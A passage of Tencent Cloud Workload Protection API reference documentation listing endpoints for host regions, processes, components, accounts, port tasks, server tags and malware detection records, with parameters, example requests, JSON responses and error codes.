"Response": {
"RequestId": "6235953e-b769-4f3a-aed8-b6572f8172cf"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeMachineRegionList

Last updated：2024-12-06 15:41:46

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of host regions.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineRegionList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RegionList	Array of RegionListDetail	CVM type region list

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to query the list of regions supported by CVM.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineRegionList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RegionList": [
{
"MachineType": "ALL",
"CloudFrom": 0,
"RegionList": [
{
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
"Region": "ap-guangzhou-ecm-cm2",
"RegionName": "South China (Guangzhou Mobile 2)",
"RegionId": 1063,
"RegionCode": "ap-guangzhou-ecm-cm2",
"RegionNameEn": "china-south (ap-guangzhou-ecm-cm2)"
},
{
```

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```
"Region": "ap-beijing-ecm-cm3",
"RegionName": "North China (Beijing Mobile 3)",
"RegionId": 1058,
"RegionCode": "ap-beijing-ecm-cm3",
"RegionNameEn": "china-north (ap-beijing-ecm-cm3)"
},
{
"Region": "ap-nanjing",
"RegionName": "East China (Nanjing)",
"RegionId": 33,
"RegionCode": "nj",
"RegionNameEn": "East China (Nanjing)"
}
]
},
{
"MachineType": "LH",
"CloudFrom": 0,
"RegionList": [
{
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
"Region": "ap-beijing",
"RegionName": "North China (Beijing)",
"RegionId": 8,
"RegionCode": "bj",
"RegionNameEn": "North China (Beijing)"
},
{
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": 1,
"RegionCode": "gz",
"RegionNameEn": "South China (Guangzhou)"
},
{
"Region": "ap-shanghai",
"RegionName": "East China (Shanghai)",
"RegionId": 4,
"RegionCode": "sh",
"RegionNameEn": "East China (Shanghai)"
}
```


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```
]
},
{
"MachineType": "Other",
"CloudFrom": 1,
"RegionList": [
{
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
"Region": "ap-others",
"RegionName": "Other regions (other)",
"RegionId": 47,
"RegionCode": "others",
"RegionNameEn": "Others (Other)"
}
]
},
{
"MachineType": "Other",
"CloudFrom": 0,
"RegionList": [
{
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
"Region": "ap-others",
"RegionName": "Other regions (other)",
"RegionId": 47,
"RegionCode": "others",
"RegionNameEn": "Others (Other)"
}
]
},
{
"MachineType": "ECM",
"CloudFrom": 0,
"RegionList": [
{
```


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```
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
"Region": "ap-guangzhou-ecm-cm2",
"RegionName": "South China (Guangzhou Mobile 2)",
"RegionId": 1063,
"RegionCode": "ap-guangzhou-ecm-cm2",
"RegionNameEn": "china-south (ap-guangzhou-ecm-cm2)"
}
]
},
{
"MachineType": "EKS-NATIVE",
"CloudFrom": 0,
"RegionList": [
{
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
"Region": "ap-beijing",
"RegionName": "North China (Beijing)",
"RegionId": 8,
"RegionCode": "bj",
"RegionNameEn": "North China (Beijing)"
}
]
},
{
"MachineType": "CVM",
"CloudFrom": 0,
"RegionList": [
{
"Region": "all-regions",
"RegionName": "All regions",
"RegionId": 999,
"RegionCode": "all",
"RegionNameEn": "All regions"
},
{
```


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```
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": 1,
"RegionCode": "gz",
"RegionNameEn": "South China (Guangzhou)"
}
]
}
],
"RequestId": "94245821-efb0-4220-a909-6b58888e2ffe"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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DescribeProcesses

Last updated：2020-07-31 11:18:58

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the process list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeProcesses.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	CWP agent `Uuid`. Either `Uuid` or `ProcessName` must be specified. If `Uuid` is specified, it indicates to query the information list under the specified server.
ProcessName	No	String	Process name. Either `Uuid` or `ProcessName` must be specified. If `ProcessName` is specified, it indicates to query the information list under the specified process.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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Parameter Name	Required	Type	Description
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • ProcessName - String - Required: No - Process name • MachineIp - String - Required: No - Private IP of server

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records in process list.
Processes	Array of Process	Process list data array.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting process list

This example shows you how to get the process list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeProcesses
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Processes": [
{
```

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```
"Id": 1,
"Uuid": "6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1",
"MachineIp": "10.12.13.22",
"MachineName": "machine-name",
"Pid": 14456,
"Ppid": 13456,
"ProcessName": "mysql",
"Username": "root",
"Platform": "LINUX32",
"FullPath": "/usr/local/mysql/bin/mysql",
"CreateTime": "2018-01-01 12:12:12"
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```


5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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DescribeProcessTaskStatus

Last updated：2020-07-31 11:18:58

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the status of a real-time process pulling task.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeProcessTaskStatus.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	Yes	String	CWP agent `Uuid` .

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
Status	String	Task status. • COMPLETE: completed (at this point, you can call the `DescribeProcesses` API to get the list of real-time processes) • AGENT_OFFLINE: CWP agent is offline • COLLECTING: getting process • FAILED: failed to get processes
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting the status of real-time process pulling task

This example shows you how to get the status of a real-time process pulling task.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeProcessTaskStatus
&Uuid=6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": "COMPLETE",
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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- API 3.0 Explorer

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- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.ProcessTaskNotFound	The real-time process pulling task does not exist.
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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DescribeComponents

Last updated：2020-07-31 11:19:00

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the component list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeComponents.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	CWP agent `Uuid`. Either `Uuid` or `ComponentId` must be specified. If `Uuid` is specified, it indicates to query the information list under the specified server.
ComponentId	No	Integer	Component ID. Either `Uuid` or `ComponentId` must be specified. If `ComponentId` is specified, it indicates to query the information list under the specified component.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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Parameter Name	Required	Type	Description
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • ComponentVersion - String - Required: No - Component version number • MachineIp - String - Required: No - Private IP of server

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records in component list.
Components	Array of Component	Component list data.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting component list

This example shows you how to get the component list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeComponents
&ComponentId=100019
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
```

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```
"Components": [
{
"Id": 1,
"MachineIp": "10.12.13.22",
"MachineName": "machine-name",
"ModifyTime": "2018-01-01 12:12:12",
"ComponentVersion": "5.7.16",
"ComponentType": "WEB",
"ComponentName": "Mysql Server",
"Uuid": "6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1"
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```


5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.

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DescribeComponentInfo

Last updated：2020-07-31 11:19:00

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the component information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeComponentInfo.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
ComponentId	Yes	Integer	Component ID.

3. Output Parameters

Parameter Name	Type	Description
Id	Integer	Component ID.

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Parameter Name	Type	Description
ComponentName	String	Component name.
ComponentType	String	Component type. • WEB: web component • SYSTEM: system component
Homepage	String	Component's official website.
Description	String	Component description.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting component information

This example shows you how to get component information.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeComponentInfo
&ComponentId=100010
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Id": 100010,
"Description": "description",
"ComponentName": "Mysql-Server",
"ComponentType": "WEB",
"Homepage": "http://example.com",
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

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API Explorer

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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DescribeAccounts

Last updated：2020-07-31 11:19:01

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the account list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeAccounts.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	CWP agent `Uuid`. Either `Username` or `Uuid` must be specified. If `Uuid` is specified, it indicates to query the information list under the specified server.
Username	No	String	CWP agent `Uuid`. Either `Username` or `Uuid` must be specified. If `Username` is specified, it indicates to query the information list under the specified username.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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Parameter Name	Required	Type	Description
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • Username - String - Required: No - Account name • Privilege - String - Required: No - Account name (ORDINARY: ordinary account, SUPPER: super admin account) • MachineIp - String - Required: No - Private IP of server

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records in account list.
Accounts	Array of Account	Account data list.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting account list

This example shows you how to get the account list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeAccounts
&Username=nginx
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"Accounts": [
{
"Id": 1,
"Uuid": "6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1",
"MachineIp": "10.12.12.14",
"MachineName": "machine-name",
"Username": "nginx",
"Groups": "users",
"Privilege": "ORDINARY",
"AccountCreateTime": "2018-01-01 12:12:12",
"LastLoginTime": "2018-01-01 12:12:12"
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```


5. Developer Resources

API Explorer

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
MissingParameter	Missing parameter.

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CreateProcessTask

Last updated：2020-07-31 11:19:02

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to create a real-time process pulling task.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: CreateProcessTask.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	Yes	String	CWP agent `Uuid` .

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Creating real-time process pulling task

This example shows you how to create a real-time process pulling task.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=CreateProcessTask
&Uuid=6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.CreateProcessTask	Failed to create a real-time process acquisition task.
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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DescribeOpenPortTaskStatus

Last updated：2020-07-31 11:18:59

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the status of a real-time port pulling task.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeOpenPortTaskStatus.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	Yes	String	CWP agent `Uuid` .

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
Status	String	Task status. • COMPLETE: completed (at this point, you can call the `DescribeOpenPorts` API to get the list of real-time processes) • AGENT_OFFLINE: CWP agent is offline • COLLECTING: getting port • FAILED: failed to get processes
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting the status of real-time port pulling task

This example shows you how to get the status of a real-time port pulling task.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeOpenPortTaskStatus
&Uuid=6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": "COMPLETE",
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.AgentOffline	The agent is offline.
FailedOperation.OpenPortTaskNotFound	The real-time port pulling task does not exist.
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
ResourceNotFound	The resource does not exist.

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AddMachineTag

Last updated：2020-07-31 11:19:03

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to add a tag to a server.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: AddMachineTag.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Quuid	Yes	String	Server ID
TagId	Yes	Integer	Tag ID
MRegion	Yes	String	Server region
MArea	Yes	String	Server type (`CVM` or `BM`)

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Adding tag to server

The example shows you how to add a tag to a server.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=AddMachineTag
&Quuid=2b6e5770-8e4d-11e9-8127-98be94219792
&TagId=12
&MRegion=ap-guangzhou
&MArea=CVM
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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CreateOpenPortTask

Last updated：2020-07-31 11:19:02

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to create a real-time port acquisition task.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: CreateOpenPortTask.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	Yes	String	CWP agent `Uuid` .

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Creating real-time port acquisition task

This example shows you how to create a real-time port acquisition task.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=CreateOpenPortTask
&Uuid=6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.CreateOpenPortTask	Failed to create a port acquisition task.
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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Virus Scanning APIs
DescribeMalWareList

Last updated：2024-12-06 15:39:27

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the Trojan list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalWareList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • IpOrAlias - String - required: no - filter by host IP or alias • FilePath - String - required: no - filter by path • VirusName - String - required: no - filter by description

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			• CreateBeginTime - String - required: no - filter by creation time - start time • CreateEndTime - String - required: no - filter by creation time - end time • Status - String - required: no - filter by status: 4 - pending; 5 -- trusted; 6 - isolated; 10 - isolation in progress; 11 - recovering from isolation; 14 - processed
By	No	String	Detection sorting CreateTime
Order	No	String	Sorting method: ASC, DESC

3. Output Parameters

Parameter Name	Type	Description
MalWareList	Array of MalWareList	List of Trojans Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Trojan

This example shows you how to obtain the list of Trojans.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalWareList
<Common request parameters>

{}
```

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Output Example


```
{
"Response": {
"MalWareList": [
{
"Alias": "v_aaa",
"CheckPlatform": "1,2",
"CreateTime": "2023-12-22 16:25:44",
"FileCreateTime": "2020-11-21 15:16:00",
"FileExists": 1,
"FileModifierTime": "2020-11-21 15:16:00",
"FilePath": "/root/aaa/061d0056bc2a3af43051b88a7ca30555",
"HostIp": "172.16.16.10",
"Id": 160250,
"LatestScanTime": "2023-12-25 16:34:50",
"Level": 4,
"MD5": "061d0056bc2a3af43051b88a7ca30555",
"MachineExtraInfo": {
"HostName": "hn***",
"InstanceID": "ins-aaaa",
"NetworkName": "vpc-d7f***",
"NetworkType": 0,
"PrivateIP": "172.16.16.10",
"WanIP": "172.16.16.10"
},
"ProcessExists": 0,
"Quuid": "aaaaa-8c8d-4077-9acc-80ce542a6937",
"Status": 4,
"Tags": [],
"Uuid": "aaaaa-8c8d-4077-9acc-80ce542a6937",
"VirusName": "Win32.Trojan.Kryptik.Jmnw"
}
],
"RequestId": "8a201811-8d1c-4545-b6b9-63be9b6ccafc",
"TotalCount": 21780
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
UnsupportedOperation	The operation is not supported.

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DescribeMalwareInfo

Last updated：2024-12-06 15:39:26

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to view malicious file details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Unique ID

3. Output Parameters

Parameter Name	Type	Description
MalwareInfo	MalwareInfo	Malicious file details

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Viewing Malicious File Details

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeMalwareInfo
&Id=10000
&<Common request parameters>
```

Output Example

```
{
"Response": {
"MalwareInfo": {
"ProcessID": "xx",
"ServersName": "xx",
"VirusName": "xx",
"Id": 1,
"FileCreateTime": "xx",
"Status": 1,
"MachineWanIp": "xx",
"Tags": [
"Mining Trojans",
"Ransomware"
],
"Heat": "xx",
"HarmDescribe": "xx",
"SuggestScheme": "xx",
"FileModifierTime": "xx",
"Level": 1,
"ProcessName": "xx",
"LatestScanTime": "xx",
"MD5": "xx",
"Breadth": "xx",
"Reference": "xx",
"FilePath": "xx",
"FileName": "xx",
"FileSize": 0,
"HostIp": "xx",
```

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```
"MachineStatus": "xx",
"CreateTime": "xx",
"PsTree": "xx"
},
"RequestId": "xx"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeMalwareWhiteList

Last updated：2024-12-06 15:39:24

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of Trojan allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

